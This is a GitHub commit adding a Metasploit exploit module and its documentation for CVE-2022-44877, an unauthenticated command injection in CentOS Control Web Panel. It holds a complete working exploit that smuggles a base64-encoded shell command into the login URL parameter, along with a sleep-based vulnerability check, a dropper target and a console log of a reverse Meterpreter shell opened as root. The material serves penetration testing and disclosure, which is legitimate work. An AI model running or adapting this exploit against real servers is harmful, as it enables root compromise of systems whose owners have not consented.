Land #17511, add exploit for CVE-2022-44877 command injection in CentOS Control Web Panel

This commit is contained in:
adfoster-r7 2023-01-31 14:05:19 +00:00 committed by GitHub
commit bbf17c167c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 191 additions and 0 deletions

View File

@ -0,0 +1,63 @@
## Vulnerable Application
Control Web Panel versions < 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful
exploitation results in code execution as the root user. The results of the command are not contained
within the HTTP response and the request will block while the command is running.
## Verification Steps
Example steps in this format (is also in the PR):
1. Start with a fresh instance of CentOS 7 x64 and run the following commands, modified from the original:
1. `yum -y install wget`
2. `yum -y update`
3. reboot
4. `cd /usr/local/src`
5. `wget https://centos-webpanel.com/cwp-el7-latest`
6. `sed -i 's/0\.9\.8\.[0-9]\+/0.9.8.1146/g' cwp-el7-latest`
7. `sed -i 's/^\(sh \/scripts\/update_cwp\)/# \1/g' cwp-el7-latest`
8. `sh cwp-el7-latest`
9. `sed -i '1i exit 0' /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp`
2. Start Metasploit
3. Run: `control_web_panel_login_cmd_exec`
4. Set RHOST and LHOST
5. Run the exploit, see that a session is opened
Check the version with `grep webpanel_version /usr/local/cwpsrv/htdocs/resources/admin/include/version.php`
## Options
## Scenarios
### CWP Version 0.9.8.1146 on CentOS 7
```
msf6 > use exploit/linux/http/control_web_panel_login_cmd_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set RHOSTS 192.168.159.9
RHOSTS => 192.168.159.9
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > check
[*] 192.168.159.9:2031 - The target appears to be vulnerable. Successfully tested command injection.
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24380 bytes) to 192.168.159.9
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.9:36154) at 2023-01-19 16:05:42 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022
Architecture : x64
Meterpreter : python/linux
meterpreter >
```

View File

@ -0,0 +1,128 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CWP login.php Unauthenticated RCE',
'Description' => %q{
Control Web Panel versions < 0.9.8.1147 are vulnerable to
unauthenticated OS command injection. Successful exploitation results
in code execution as the root user. The results of the command are not
contained within the HTTP response and the request will block while
the command is running.
},
'Author' => [
'Spencer McIntyre', # metasploit module
'Numan Türle' # vulnerability discovery
],
'References' => [
[ 'CVE', '2022-44877' ],
[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],
[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]
],
'DisclosureDate' => '2023-01-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(2031),
OptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])
])
end
def check
sleep_time = rand(5..10)
_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end
vprint_status("Elapsed time: #{elapsed_time} seconds")
unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end
CheckCode::Appears('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path) + "?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)",
'vars_post' => {
'username' => 'root', # *must* be root
'password' => rand_text_alphanumeric(4..16),
'commit' => 'Login'
}
)
# the command will either cause the response to timeout or return a 302
return if res.nil?
return if res.code == 302 && res.headers['Location'].include?('login=failed')
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
end